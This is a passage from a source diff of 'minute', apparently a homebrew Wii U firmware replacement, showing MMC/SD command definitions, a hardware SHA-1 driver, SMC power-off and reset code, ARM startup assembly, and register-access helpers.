#define MMC_GO_IDLE_STATE 0 /* R0 */
#define MMC_SEND_OP_COND 1 /* R3 */
#define MMC_ALL_SEND_CID 2 /* R2 */
#define MMC_SET_RELATIVE_ADDR 3 /* R1 */
#define MMC_SWITCH 6 /* R1B */
#define MMC_SELECT_CARD 7 /* R1 */
#define MMC_SEND_EXT_CSD 8 /* R1 */
#define MMC_SEND_CSD 9 /* R2 */
#define MMC_STOP_TRANSMISSION 12 /* R1B */
#define MMC_SEND_STATUS 13 /* R1 */
#define MMC_SET_BLOCKLEN 16 /* R1 */
#define MMC_READ_BLOCK_SINGLE 17 /* R1 */
#define MMC_READ_BLOCK_MULTIPLE 18 /* R1 */
#define MMC_SET_BLOCK_COUNT 23 /* R1 */
#define MMC_WRITE_BLOCK_SINGLE 24 /* R1 */
#define MMC_WRITE_BLOCK_MULTIPLE 25 /* R1 */
#define MMC_APP_CMD 55 /* R1 */
/* SD commands */ /* response type */
#define SD_SEND_RELATIVE_ADDR 3 /* R6 */
#define SD_SWITCH_FUNC 6 /* R1 */
#define SD_SEND_IF_COND 8 /* R7 */
/* SD application commands */ /* response type */
#define SD_APP_SET_BUS_WIDTH 6 /* R1 */
#define SD_APP_OP_COND 41 /* R3 */
/* OCR bits */
#define MMC_OCR_MEM_READY (1<<31) /* memory power-up status bit */
#define MMC_OCR_3_5V_3_6V (1<<23)
#define MMC_OCR_3_4V_3_5V (1<<22)
#define MMC_OCR_3_3V_3_4V (1<<21)
#define MMC_OCR_3_2V_3_3V (1<<20)
#define MMC_OCR_3_1V_3_2V (1<<19)
#define MMC_OCR_3_0V_3_1V (1<<18)
#define MMC_OCR_2_9V_3_0V (1<<17)
#define MMC_OCR_2_8V_2_9V (1<<16)
#define MMC_OCR_2_7V_2_8V (1<<15)
#define MMC_OCR_2_6V_2_7V (1<<14)
#define MMC_OCR_2_5V_2_6V (1<<13)
#define MMC_OCR_2_4V_2_5V (1<<12)
#define MMC_OCR_2_3V_2_4V (1<<11)
#define MMC_OCR_2_2V_2_3V (1<<10)
#define MMC_OCR_2_1V_2_2V (1<<9)
#define MMC_OCR_2_0V_2_1V (1<<8)
#define MMC_OCR_1_9V_2_0V (1<<7)
#define MMC_OCR_1_8V_1_9V (1<<6)
#define MMC_OCR_1_7V_1_8V (1<<5)
#define MMC_OCR_1_6V_1_7V (1<<4)
#define SD_OCR_SDHC_CAP (1<<30)
#define SD_OCR_VOL_MASK 0xFF8000 /* bits 23:15 */
/* R1 response type bits */
#define MMC_R1_READY_FOR_DATA (1<<8) /* ready for next transfer */
#define MMC_R1_APP_CMD (1<<5) /* app. commands supported */
/* 48-bit response decoding (32 bits w/o CRC) */
#define MMC_R1(resp) ((resp)[0])
#define MMC_R3(resp) ((resp)[0])
#define SD_R6(resp) ((resp)[0])
/* RCA argument and response */
#define MMC_ARG_RCA(rca) ((rca) << 16)
#define SD_R6_RCA(resp) (SD_R6((resp)) >> 16)
/* bus width argument */
#define SD_ARG_BUS_WIDTH_1 0
#define SD_ARG_BUS_WIDTH_4 2
/* MMC R2 response (CSD) */
#define MMC_CSD_CSDVER(resp) MMC_RSP_BITS((resp), 126, 2)
#define MMC_CSD_CSDVER_1_0 1
#define MMC_CSD_CSDVER_2_0 2
#define MMC_CSD_MMCVER(resp) MMC_RSP_BITS((resp), 122, 4)
#define MMC_CSD_MMCVER_1_0 0 /* MMC 1.0 - 1.2 */
#define MMC_CSD_MMCVER_1_4 1 /* MMC 1.4 */
#define MMC_CSD_MMCVER_2_0 2 /* MMC 2.0 - 2.2 */
#define MMC_CSD_MMCVER_3_1 3 /* MMC 3.1 - 3.3 */
#define MMC_CSD_MMCVER_4_0 4 /* MMC 4 */
#define MMC_CSD_READ_BL_LEN(resp) MMC_RSP_BITS((resp), 80, 4)
#define MMC_CSD_C_SIZE(resp) MMC_RSP_BITS((resp), 62, 12)
#define MMC_CSD_CAPACITY(resp) ((MMC_CSD_C_SIZE((resp))+1) << \
(MMC_CSD_C_SIZE_MULT((resp))+2))
#define MMC_CSD_C_SIZE_MULT(resp) MMC_RSP_BITS((resp), 47, 3)
/* MMC v1 R2 response (CID) */
#define MMC_CID_MID_V1(resp) MMC_RSP_BITS((resp), 104, 24)
#define MMC_CID_PNM_V1_CPY(resp, pnm) \
do { \
(pnm)[0] = MMC_RSP_BITS((resp), 96, 8); \
(pnm)[1] = MMC_RSP_BITS((resp), 88, 8); \
(pnm)[2] = MMC_RSP_BITS((resp), 80, 8); \
(pnm)[3] = MMC_RSP_BITS((resp), 72, 8); \
(pnm)[4] = MMC_RSP_BITS((resp), 64, 8); \
(pnm)[5] = MMC_RSP_BITS((resp), 56, 8); \
(pnm)[6] = MMC_RSP_BITS((resp), 48, 8); \
(pnm)[7] = '\0'; \
} while (0)
#define MMC_CID_REV_V1(resp) MMC_RSP_BITS((resp), 40, 8)
#define MMC_CID_PSN_V1(resp) MMC_RSP_BITS((resp), 16, 24)
#define MMC_CID_MDT_V1(resp) MMC_RSP_BITS((resp), 8, 8)
/* MMC v2 R2 response (CID) */
#define MMC_CID_MID_V2(resp) MMC_RSP_BITS((resp), 120, 8)
#define MMC_CID_OID_V2(resp) MMC_RSP_BITS((resp), 104, 16)
#define MMC_CID_PNM_V2_CPY(resp, pnm) \
do { \
(pnm)[0] = MMC_RSP_BITS((resp), 96, 8); \
(pnm)[1] = MMC_RSP_BITS((resp), 88, 8); \
(pnm)[2] = MMC_RSP_BITS((resp), 80, 8); \
(pnm)[3] = MMC_RSP_BITS((resp), 72, 8); \
(pnm)[4] = MMC_RSP_BITS((resp), 64, 8); \
(pnm)[5] = MMC_RSP_BITS((resp), 56, 8); \
(pnm)[6] = '\0'; \
} while (0)
#define MMC_CID_PSN_V2(resp) MMC_RSP_BITS((resp), 16, 32)
/* SD R2 response (CSD) */
#define SD_CSD_CSDVER(resp) MMC_RSP_BITS((resp), 126, 2)
#define SD_CSD_CSDVER_1_0 0
#define SD_CSD_CSDVER_2_0 1
#define SD_CSD_TAAC(resp) MMC_RSP_BITS((resp), 112, 8)
#define SD_CSD_TAAC_1_5_MSEC 0x26
#define SD_CSD_NSAC(resp) MMC_RSP_BITS((resp), 104, 8)
#define SD_CSD_SPEED(resp) MMC_RSP_BITS((resp), 96, 8)
#define SD_CSD_SPEED_25_MHZ 0x32
#define SD_CSD_SPEED_50_MHZ 0x5a
#define SD_CSD_CCC(resp) MMC_RSP_BITS((resp), 84, 12)
#define SD_CSD_CCC_ALL 0x5f5
#define SD_CSD_READ_BL_LEN(resp) MMC_RSP_BITS((resp), 80, 4)
#define SD_CSD_READ_BL_PARTIAL(resp) MMC_RSP_BITS((resp), 79, 1)
#define SD_CSD_WRITE_BLK_MISALIGN(resp) MMC_RSP_BITS((resp), 78, 1)
#define SD_CSD_READ_BLK_MISALIGN(resp) MMC_RSP_BITS((resp), 77, 1)
#define SD_CSD_DSR_IMP(resp) MMC_RSP_BITS((resp), 76, 1)
#define SD_CSD_C_SIZE(resp) MMC_RSP_BITS((resp), 62, 12)
#define SD_CSD_CAPACITY(resp) ((SD_CSD_C_SIZE((resp))+1) << \
(SD_CSD_C_SIZE_MULT((resp))+2))
#define SD_CSD_V2_C_SIZE(resp) MMC_RSP_BITS((resp), 48, 22)
#define SD_CSD_V2_CAPACITY(resp) ((SD_CSD_V2_C_SIZE((resp))+1) << 10)
#define SD_CSD_V2_BL_LEN 0x9 /* 512 */
#define SD_CSD_VDD_R_CURR_MIN(resp) MMC_RSP_BITS((resp), 59, 3)
#define SD_CSD_VDD_R_CURR_MAX(resp) MMC_RSP_BITS((resp), 56, 3)
#define SD_CSD_VDD_W_CURR_MIN(resp) MMC_RSP_BITS((resp), 53, 3)
#define SD_CSD_VDD_W_CURR_MAX(resp) MMC_RSP_BITS((resp), 50, 3)
#define SD_CSD_VDD_RW_CURR_100mA 0x7
#define SD_CSD_VDD_RW_CURR_80mA 0x6
#define SD_CSD_C_SIZE_MULT(resp) MMC_RSP_BITS((resp), 47, 3)
#define SD_CSD_ERASE_BLK_EN(resp) MMC_RSP_BITS((resp), 46, 1)
#define SD_CSD_SECTOR_SIZE(resp) MMC_RSP_BITS((resp), 39, 7) /* +1 */
#define SD_CSD_WP_GRP_SIZE(resp) MMC_RSP_BITS((resp), 32, 7) /* +1 */
#define SD_CSD_WP_GRP_ENABLE(resp) MMC_RSP_BITS((resp), 31, 1)
#define SD_CSD_R2W_FACTOR(resp) MMC_RSP_BITS((resp), 26, 3)
#define SD_CSD_WRITE_BL_LEN(resp) MMC_RSP_BITS((resp), 22, 4)
#define SD_CSD_RW_BL_LEN_2G 0xa
#define SD_CSD_RW_BL_LEN_1G 0x9
#define SD_CSD_WRITE_BL_PARTIAL(resp) MMC_RSP_BITS((resp), 21, 1)
#define SD_CSD_FILE_FORMAT_GRP(resp) MMC_RSP_BITS((resp), 15, 1)
#define SD_CSD_COPY(resp) MMC_RSP_BITS((resp), 14, 1)
#define SD_CSD_PERM_WRITE_PROTECT(resp) MMC_RSP_BITS((resp), 13, 1)
#define SD_CSD_TMP_WRITE_PROTECT(resp) MMC_RSP_BITS((resp), 12, 1)
#define SD_CSD_FILE_FORMAT(resp) MMC_RSP_BITS((resp), 10, 2)
/* SD R2 response (CID) */
#define SD_CID_MID(resp) MMC_RSP_BITS((resp), 120, 8)
#define SD_CID_OID(resp) MMC_RSP_BITS((resp), 104, 16)
#define SD_CID_PNM_CPY(resp, pnm) \
do { \
(pnm)[0] = MMC_RSP_BITS((resp), 96, 8); \
(pnm)[1] = MMC_RSP_BITS((resp), 88, 8); \
(pnm)[2] = MMC_RSP_BITS((resp), 80, 8); \
(pnm)[3] = MMC_RSP_BITS((resp), 72, 8); \
(pnm)[4] = MMC_RSP_BITS((resp), 64, 8); \
(pnm)[5] = '\0'; \
} while (0)
#define SD_CID_REV(resp) MMC_RSP_BITS((resp), 56, 8)
#define SD_CID_PSN(resp) MMC_RSP_BITS((resp), 24, 32)
#define SD_CID_MDT(resp) MMC_RSP_BITS((resp), 8, 12)
/* Might be slow, but it should work on big and little endian systems. */
#define MMC_RSP_BITS(resp, start, len) __bitfield((resp), (start)-8, (len))
static __inline int
__bitfield(u_int32_t *src, int start, int len)
{
u_int8_t *sp;
u_int32_t dst, mask;
int shift, bs, bc;
if (start < 0 || len < 0 || len > 32)
return 0;
dst = 0;
mask = len % 32 ? UINT_MAX >> (32 - (len % 32)) : UINT_MAX;
shift = 0;
while (len > 0) {
sp = (u_int8_t *)src + start / 8;
bs = start % 8;
bc = 8 - bs;
if (bc > len)
bc = len;
dst |= (*sp++ >> bs) << shift;
shift += bc;
start += bc;
len -= bc;
}
dst &= mask;
return (int)dst;
}
#endif

149
stage2/sha.c Normal file
View File

@ -0,0 +1,149 @@
/*
SHA-1 in C
By Steve Reid <steve@edmweb.com>
100% Public Domain
Test Vectors (from FIPS PUB 180-1)
"abc"
A9993E36 4706816A BA3E2571 7850C26C 9CD0D89D
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq"
84983E44 1C3BD26E BAAE4AA1 F95129E5 E54670F1
A million repetitions of "a"
34AA973C D4C4DAA4 F61EEB2B DBAD2731 6534016F
*/
#include "types.h"
#include "utils.h"
#include <string.h>
#include <stdlib.h>
#include <malloc.h>
#include "sha.h"
#include "irq.h"
#include "memory.h"
#include "latte.h"
//should be divisible by four
#define BLOCKSIZE 32
#define SHA_CMD_FLAG_EXEC (1<<31)
#define SHA_CMD_FLAG_IRQ (1<<30)
#define SHA_CMD_FLAG_ERR (1<<29)
#define SHA_CMD_AREA_BLOCK ((1<<10) - 1)
static void sha_transform(u32 state[SHA_HASH_WORDS], u8 buffer[SHA_BLOCK_SIZE], u32 blocks)
{
if(blocks == 0) return;
/* Copy ctx->state[] to working vars */
write32(SHA_H0, state[0]);
write32(SHA_H1, state[1]);
write32(SHA_H2, state[2]);
write32(SHA_H3, state[3]);
write32(SHA_H4, state[4]);
// assign block to local copy which is 64-byte aligned
u8 *block = memalign(64, SHA_BLOCK_SIZE * blocks);
memcpy(block, buffer, SHA_BLOCK_SIZE * blocks);
// royal flush :)
dc_flushrange(block, SHA_BLOCK_SIZE * blocks);
ahb_flush_to(RB_SHA);
// tell sha1 controller the block source address
write32(SHA_SRC, dma_addr(block));
// tell sha1 controller number of blocks
write32(SHA_CTRL, (read32(SHA_CTRL) & ~(SHA_CMD_AREA_BLOCK)) | (blocks - 1));
// fire up hashing and wait till its finished
write32(SHA_CTRL, read32(SHA_CTRL) | SHA_CMD_FLAG_EXEC);
while (read32(SHA_CTRL) & SHA_CMD_FLAG_EXEC);
// free the aligned data
free(block);
/* Add the working vars back into ctx.state[] */
state[0] = read32(SHA_H0);
state[1] = read32(SHA_H1);
state[2] = read32(SHA_H2);
state[3] = read32(SHA_H3);
state[4] = read32(SHA_H4);
}
void sha_init(sha_ctx* ctx)
{
memset(ctx, 0, sizeof(sha_ctx));
ctx->state[0] = 0x67452301;
ctx->state[1] = 0xEFCDAB89;
ctx->state[2] = 0x98BADCFE;
ctx->state[3] = 0x10325476;
ctx->state[4] = 0xC3D2E1F0;
}
void sha_update(sha_ctx* ctx, const void* inbuf, size_t size)
{
unsigned int i, j;
u8* data = (u8*)inbuf;
j = (ctx->count[0] >> 3) & 63;
if ((ctx->count[0] += size << 3) < (size << 3))
ctx->count[1]++;
ctx->count[1] += (size >> 29);
if ((j + size) > 63) {
memcpy(&ctx->buffer[j], data, (i = 64-j));
sha_transform(ctx->state, ctx->buffer, 1);
// try bigger blocks at once
for ( ; i + 63 + ((BLOCKSIZE-1)*64) < size; i += (64 + (BLOCKSIZE-1)*64)) {
sha_transform(ctx->state, &data[i], BLOCKSIZE);
}
for ( ; i + 63 + (((BLOCKSIZE/2)-1)*64) < size; i += (64 + ((BLOCKSIZE/2)-1)*64)) {
sha_transform(ctx->state, &data[i], BLOCKSIZE/2);
}
for ( ; i + 63 + (((BLOCKSIZE/4)-1)*64) < size; i += (64 + ((BLOCKSIZE/4)-1)*64)) {
sha_transform(ctx->state, &data[i], BLOCKSIZE/4);
}
for ( ; i + 63 < size; i += 64) {
sha_transform(ctx->state, &data[i], 1);
}
j = 0;
}
else i = 0;
memcpy(&ctx->buffer[j], &data[i], size - i);
}
void sha_final(sha_ctx* ctx, void* outbuf)
{
u8 final_count[8];
u8* digest = outbuf;
for (int i = 0; i < 8; i++) {
final_count[i] = ((ctx->count[(i >= 4 ? 0 : 1)] >> ((3-(i & 3)) * 8) ) & 255); /* Endian independent */
}
sha_update(ctx, "\200", 1);
while ((ctx->count[0] & 504) != 448) {
sha_update(ctx, "\0", 1);
}
sha_update(ctx, final_count, sizeof(final_count)); /* Should cause a sha_transform() */
for (int i = 0; i < SHA_HASH_SIZE; i++) {
digest[i] = ((ctx->state[i>>2] >> ((3-(i & 3)) * 8) ) & 255);
}
/* Wipe variables */
memset(ctx->buffer, 0, sizeof(ctx->buffer));
memset(ctx->state, 0, sizeof(ctx->state));
memset(ctx->count, 0, sizeof(ctx->count));
memset(final_count, 0, sizeof(final_count));
sha_transform(ctx->state, ctx->buffer, 1);
}
void sha_hash(const void* inbuf, void* outbuf, size_t size)
{
sha_ctx ctx;
sha_init(&ctx);
sha_update(&ctx, inbuf, size);
sha_final(&ctx, outbuf);
}

36
stage2/sha.h Normal file
View File

@ -0,0 +1,36 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef _SHA_H
#define _SHA_H
#include "types.h"
#define SHA_BLOCK_BITS (0x200) // 512
#define SHA_BLOCK_SIZE (SHA_BLOCK_BITS / 8) // 64
#define SHA_BLOCK_WORDS (SHA_BLOCK_SIZE / sizeof(u32)) // 16
#define SHA_HASH_BITS (0xA0) // 160
#define SHA_HASH_SIZE (SHA_HASH_BITS / 8) // 20 (0x14)
#define SHA_HASH_WORDS (SHA_HASH_SIZE / sizeof(u32)) // 5
typedef struct {
u32 state[SHA_HASH_WORDS];
u32 count[2];
u8 buffer[SHA_BLOCK_SIZE];
} sha_ctx;
void sha_init(sha_ctx* ctx);
void sha_update(sha_ctx* ctx, const void* inbuf, size_t size);
void sha_final(sha_ctx* ctx, void* outbuf);
void sha_hash(const void* inbuf, void* outbuf, size_t size);
#endif

118
stage2/smc.c Normal file
View File

@ -0,0 +1,118 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "types.h"
#include "utils.h"
#include "latte.h"
void SRAM_TEXT __attribute__((__noreturn__)) smc_shutdown(bool reset)
{
write16(MEM_FLUSH_MASK, 0b1111);
while(read16(MEM_FLUSH_MASK) & 0b1111);
if(read32(LT_RESETS) & 4) {
write32(LT_ABIF_CPLTL_OFFSET, 0xC0008020);
write32(LT_ABIF_CPLTL_DATA, 0xFFFFFFFF);
write32(LT_ABIF_CPLTL_OFFSET, 0xC0000E60);
write32(LT_ABIF_CPLTL_DATA, 0xFFFFFFDB);
}
write32(LT_RESETS_AHB, 0xFFFFCE71);
write32(LT_RESETS_AHMN, 0xFFFFCD70);
write32(LT_RESETS_COMPAT, 0xFF8FCDEF);
write16(MEM_REFRESH_FLAG, 0);
write16(MEM_SEQ_REG_ADDR, 0x18);
write16(MEM_SEQ_REG_VAL, 1);
write16(MEM_SEQ_REG_ADDR, 0x19);
write16(MEM_SEQ_REG_VAL, 0);
write16(MEM_SEQ_REG_ADDR, 0x1A);
write16(MEM_SEQ_REG_VAL, 1);
write16(MEM_SEQ0_REG_ADDR, 0x18);
write16(MEM_SEQ0_REG_VAL, 1);
write16(MEM_SEQ0_REG_ADDR, 0x19);
write16(MEM_SEQ0_REG_VAL, 0);
write16(MEM_SEQ0_REG_ADDR, 0x1A);
write16(MEM_SEQ0_REG_VAL, 1);
{
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0xA1000100);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0);
}
if(reset) {
{
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0xA1000D00);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0x501);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0);
}
clear32(LT_RESETS, 1);
} else {
{
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0xA1000D00);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0x101);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0);
}
{
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0xA1000D00);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0x108);
write32(EXI0_DATA, 0x10101);
write32(EXI0_CR, 0x35);
while(!(read32(EXI0_CSR) & 8));
write32(EXI0_CSR, 0);
}
}
while(true);
}
void __attribute__((__noreturn__)) smc_power_off(void)
{
smc_shutdown(false);
}
void __attribute__((__noreturn__)) smc_reset(void)
{
smc_shutdown(true);
}

20
stage2/smc.h Normal file
View File

@ -0,0 +1,20 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef _SMC_H
#define _SMC_H
#include "types.h"
void __attribute__((__noreturn__)) smc_shutdown(bool reset);
void __attribute__((__noreturn__)) smc_reset(void);
void __attribute__((__noreturn__)) smc_power_off(void);
#endif

83
stage2/start.S Normal file
View File

@ -0,0 +1,83 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
.arm
.extern _main
.extern __got_start
.extern __got_end
.extern __bss_start
.extern __bss_end
.extern __stack_addr
.globl _start
.extern v_irq
.section .init
_vectors:
_start:
ldr pc, =v_reset
1: b 1b
2: b 2b
3: b 3b
4: b 4b
5: b 5b
ldr pc, =v_irq
6: b 6b
.pool
v_reset:
@ Switch to System mode
msr cpsr_c, #0xdf
@ Get loader base from ELF loader
mov r4, r0
@ Set up a stack
ldr sp, =__stack_addr
@ clear the stack to a marker value
ldr r1, =__stack_end
ldr r2, =__stack_addr
ldr r3, =0xDEADBEEF
stk_loop:
@ check for the end
cmp r1, r2
beq done_stk
@ clear the word and move on
str r3, [r1]
add r1, r1, #4
b stk_loop
done_stk:
@ clear BSS
ldr r1, =__bss_start
ldr r2, =__bss_end
mov r3, #0
bss_loop:
@ check for the end
cmp r1, r2
beq done_bss
@ clear the word and move on
str r3, [r1]
add r1, r1, #4
b bss_loop
done_bss:
@ take the plunge
mov r0, r4
ldr r1, =_main
blx r1
@ _main returned! Go to whatever address it returned...
bx r0
.pool

68
stage2/types.h Normal file
View File

@ -0,0 +1,68 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __TYPES_H__
#define __TYPES_H__
#include <inttypes.h>
#include <stddef.h>
#include <stdbool.h>
#include <stdarg.h>
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;
typedef int8_t s8;
typedef int16_t s16;
typedef int32_t s32;
typedef int64_t s64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef volatile s8 vs8;
typedef volatile s16 vs16;
typedef volatile s32 vs32;
typedef volatile s64 vs64;
#define NULL ((void *)0)
#define ALWAYS_INLINE __attribute__((always_inline))
#define SRAM_TEXT __attribute__((section(".sram.text")))
#define SRAM_DATA __attribute__((section(".sram.data")))
#define NORETURN __attribute__((__noreturn__))
#define ALIGNED(x) __attribute__((aligned(x)))
#define PACKED __attribute__((packed))
#define STACK_ALIGN(type, name, cnt, alignment) \
u8 _al__##name[((sizeof(type)*(cnt)) + (alignment) + \
(((sizeof(type)*(cnt))%(alignment)) > 0 ? ((alignment) - \
((sizeof(type)*(cnt))%(alignment))) : 0))]; \
type *name = (type*)(((u32)(_al__##name)) + ((alignment) - (( \
(u32)(_al__##name))&((alignment)-1))))
#define INT_MAX ((s32)0x7fffffff)
#define UINT_MAX ((u32)0xffffffff)
//#define LONG_MAX INT_MAX
//#define ULONG_MAX UINT_MAX
//#define LLONG_MAX ((s64)0x7fffffffffffffff)
//#define ULLONG_MAX ((u64)0xffffffffffffffff)
#endif

52
stage2/utils.c Normal file
View File

@ -0,0 +1,52 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2016 SALT
* Copyright (C) 2016 Daz Jones <daz@dazzozo.com>
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#include "types.h"
#include "utils.h"
#include "gpio.h"
#include "latte.h"
#include <stdarg.h>
void udelay(u32 d)
{
// should be good to max .2% error
u32 ticks = d * 19 / 10;
if(ticks < 2)
ticks = 2;
u32 now = read32(LT_TIMER);
u32 then = now + ticks;
if(then < now) {
while(read32(LT_TIMER) >= now);
now = read32(LT_TIMER);
}
while(now < then) {
now = read32(LT_TIMER);
}
}
void panic(u8 v)
{
while(true) {
//debug_output(v);
//set32(HW_GPIO1BOUT, GP_SLOTLED);
//udelay(500000);
//debug_output(0);
//clear32(HW_GPIO1BOUT, GP_SLOTLED);
//udelay(500000);
}
}

213
stage2/utils.h Normal file
View File

@ -0,0 +1,213 @@
/*
* minute - a port of the "mini" IOS replacement for the Wii U.
*
* Copyright (C) 2008, 2009 Hector Martin "marcan" <marcan@marcansoft.com>
*
* This code is licensed to you under the terms of the GNU GPL, version 2;
* see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
*/
#ifndef __UTILS_H__
#define __UTILS_H__
#include "types.h"
static inline ALWAYS_INLINE u32 read32(u32 addr)
{
u32 data;
__asm__ volatile ("ldr\t%0, [%1]" : "=l" (data) : "l" (addr));
return data;
}
static inline ALWAYS_INLINE void write32(u32 addr, u32 data)
{
__asm__ volatile ("str\t%0, [%1]" : : "l" (data), "l" (addr));
}
static inline ALWAYS_INLINE u32 set32(u32 addr, u32 set)
{
u32 data;
__asm__ volatile (
"ldr\t%0, [%1]\n"
"\torr\t%0, %2\n"
"\tstr\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (set)
);
return data;
}
static inline ALWAYS_INLINE u32 clear32(u32 addr, u32 clear)
{
u32 data;
__asm__ volatile (
"ldr\t%0, [%1]\n"
"\tbic\t%0, %2\n"
"\tstr\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (clear)
);
return data;
}
static inline ALWAYS_INLINE u32 mask32(u32 addr, u32 clear, u32 set)
{
u32 data;
__asm__ volatile (
"ldr\t%0, [%1]\n"
"\tbic\t%0, %3\n"
"\torr\t%0, %2\n"
"\tstr\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (set), "l" (clear)
);
return data;
}
static inline ALWAYS_INLINE u16 read16(u32 addr)
{
u32 data;
__asm__ volatile ("ldrh\t%0, [%1]" : "=l" (data) : "l" (addr));
return data;
}
static inline ALWAYS_INLINE void write16(u32 addr, u16 data)
{
__asm__ volatile ("strh\t%0, [%1]" : : "l" (data), "l" (addr));
}
static inline ALWAYS_INLINE u16 set16(u32 addr, u16 set)
{
u16 data;
__asm__ volatile (
"ldrh\t%0, [%1]\n"
"\torr\t%0, %2\n"
"\tstrh\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (set)
);
return data;
}
static inline ALWAYS_INLINE u16 clear16(u32 addr, u16 clear)
{
u16 data;
__asm__ volatile (
"ldrh\t%0, [%1]\n"
"\tbic\t%0, %2\n"
"\tstrh\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (clear)
);
return data;
}
static inline ALWAYS_INLINE u16 mask16(u32 addr, u16 clear, u16 set)
{
u16 data;
__asm__ volatile (
"ldrh\t%0, [%1]\n"
"\tbic\t%0, %3\n"
"\torr\t%0, %2\n"
"\tstrh\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (set), "l" (clear)
);
return data;
}
static inline ALWAYS_INLINE u8 read8(u32 addr)
{
u32 data;
__asm__ volatile ("ldrb\t%0, [%1]" : "=l" (data) : "l" (addr));
return data;
}
static inline ALWAYS_INLINE void write8(u32 addr, u8 data)
{
__asm__ volatile ("strb\t%0, [%1]" : : "l" (data), "l" (addr));
}
static inline ALWAYS_INLINE u8 set8(u32 addr, u8 set)
{
u8 data;
__asm__ volatile (
"ldrb\t%0, [%1]\n"
"\torr\t%0, %2\n"
"\tstrb\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (set)
);
return data;
}
static inline ALWAYS_INLINE u8 clear8(u32 addr, u8 clear)
{
u8 data;
__asm__ volatile (
"ldrb\t%0, [%1]\n"
"\tbic\t%0, %2\n"
"\tstrb\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (clear)
);
return data;
}
static inline ALWAYS_INLINE u8 mask8(u32 addr, u8 clear, u8 set)
{
u8 data;
__asm__ volatile (
"ldrb\t%0, [%1]\n"
"\tbic\t%0, %3\n"
"\torr\t%0, %2\n"
"\tstrb\t%0, [%1]"
: "=&l" (data)
: "l" (addr), "l" (set), "l" (clear)
);
return data;
}
/*
* These functions are guaranteed to copy by reading from src and writing to dst in <n>-bit units
* If size is not aligned, the remaining bytes are not copied
*/
void memset32(void *dst, u32 value, u32 size);
void memcpy32(void *dst, void *src, u32 size);
void memset16(void *dst, u16 value, u32 size);
void memcpy16(void *dst, void *src, u32 size);
void memset8(void *dst, u8 value, u32 size);
void memcpy8(void *dst, void *src, u32 size);
void udelay(u32 d);
void panic(u8 v);
static inline ALWAYS_INLINE u32 get_cpsr(void)
{
u32 data;
__asm__ volatile ( "mrs\t%0, cpsr" : "=r" (data) );
return data;
}
#define STACK_ALIGN(type, name, cnt, alignment) \
u8 _al__##name[((sizeof(type)*(cnt)) + (alignment) + \
(((sizeof(type)*(cnt))%(alignment)) > 0 ? ((alignment) - \
((sizeof(type)*(cnt))%(alignment))) : 0))]; \
type *name = (type*)(((u32)(_al__##name)) + ((alignment) - (( \
(u32)(_al__##name))&((alignment)-1))))
#define max(a, b) \
({ __typeof__ (a) _a = (a); \
__typeof__ (b) _b = (b); \
_a > _b ? _a : _b; })
#define min(a, b) \
({ __typeof__ (a) _a = (a); \
